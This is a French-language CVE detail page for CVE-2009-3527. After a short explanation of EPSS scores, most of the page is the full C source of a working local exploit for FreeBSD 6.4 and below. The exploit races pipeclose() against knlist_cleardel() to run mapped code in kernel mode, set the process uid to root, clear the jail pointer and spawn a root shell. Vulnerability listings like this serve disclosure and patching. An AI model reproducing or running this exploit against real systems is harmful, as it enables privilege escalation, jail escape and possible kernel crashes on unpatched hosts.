CVE-2009-3527 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#if 0 FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and knlist_cleardel() resulting in NULL pointer dereference. The following code exploits vulnerability to run code in kernel mode, giving root shell and escaping from jail. #endif /* 29.08.2009, babcia padlina * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition * * works only on multiprocessor systems * gcc -o padlina2 padlina2.c -lpthread */ #define _KERNEL #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/event.h> #include <sys/timespec.h> #include <pthread.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/proc.h> int fd[2], kq; struct kevent kev, ke[2]; struct timespec timeout; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; gotroot = 1; asm( "movl %%fs:0, %0" : "=r"(thread) ); thread->td_proc->p_ucred->cr_uid = 0; thread->td_proc->p_ucred->cr_prison = NULL; return; } static void code_end(void) { return; } void do_thread(void) { while (!gotroot) { if (pipe(fd) < 0) perror("pipe"); memset(&kev, 0, sizeof(kev)); EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL); EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL); if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0) perror("kevent"); close(fd[0]); close(fd[1]); } return; } void do_thread2(void) { usleep(100); while(!gotroot) { close(fd[0]); close(fd[1]); } return; } int main(void) { int i; pthread_t pth, pth2; if (!getuid() || !geteuid()) { printf("already root.\n"); exit(-1); } printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n" "may cause kernel memory corruption leading to system crash.\n" "it is also possible, that exploit will hang and such process\n" "will be unkillable. hit enter if you want to continue.\n"); getchar(); /* safe landing place for 6.4-RELEASE - it protects us from page fault due to invalid read */ if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } memcpy(0, &kernel_code, &code_end - &kernel_code); if ((kq = kqueue()) < 0) { perror("kqueue"); exit(-1); } pthread_create(&pth, NULL, (void *)do_thread, NULL); pthread_create(&pth2, NULL, (void *)do_thread2, NULL); timeout.tv_sec = 0; timeout.tv_nsec = 1; printf("waiting for root... it should take no more than few seconds.\n" "otherwise, run exploit again.\n"); i = 0; while (!gotroot && i++ < 4000) usleep(100); setuid(0); if (getuid()) { printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n"); exit(-1); } execl("/bin/sh", "sh", NULL); return 0; }